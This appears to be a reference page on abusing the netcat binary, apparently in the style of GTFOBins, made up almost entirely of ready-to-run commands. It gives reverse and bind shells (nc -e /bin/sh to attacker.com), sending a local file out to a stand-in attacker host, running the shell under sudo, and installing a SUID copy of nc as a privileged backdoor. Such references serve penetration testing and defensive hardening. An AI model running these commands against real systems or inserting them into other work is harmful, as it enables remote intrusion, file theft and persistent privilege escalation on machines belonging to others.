Reverse shell
It can send back a reverse shell to a listening attacker to open a remote network access.
Run nc -l -p 12345 on the attacker box to receive the shell. This only works with netcat traditional.
RHOST=attacker.com
RPORT=12345
nc -e /bin/sh $RHOST $RPORT
Bind shell
It can bind a shell to a local port to allow remote network access.
Run nc target.com 12345 on the attacker box to connect to the shell. This only works with netcat traditional.
LPORT=12345
nc -l -p $LPORT -e /bin/sh
File upload
It can exfiltrate files on the network.
Send a local file via TCP. Run nc -l -p 12345 > "file_to_save" on the attacker box to collect the file.
RHOST=attacker.com
RPORT=12345
LFILE=file_to_send
nc $RHOST $RPORT < "$LFILE"
File download
It can download remote files.
Fetch a remote file via TCP. Run nc target.com 12345 < "file_to_send" on the attacker box to send the file.
LPORT=12345
LFILE=file_to_save
nc -l -p $LPORT > "$LFILE"
Sudo
If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
Run nc -l -p 12345 on the attacker box to receive the shell. This only works with netcat traditional.
RHOST=attacker.com
RPORT=12345
sudo nc -e /bin/sh $RHOST $RPORT
Limited SUID
If the binary has the SUID bit set, it may be abused to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run commands (e.g., via system()-like invocations) it only works on systems like Debian (<= Stretch) that allow the default sh shell to run with SUID privileges.
This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.
Run nc -l -p 12345 on the attacker box to receive the shell. This only works with netcat traditional.
sudo install -m =xs $(which nc) .
RHOST=attacker.com
RPORT=12345
./nc -e /bin/sh $RHOST $RPORT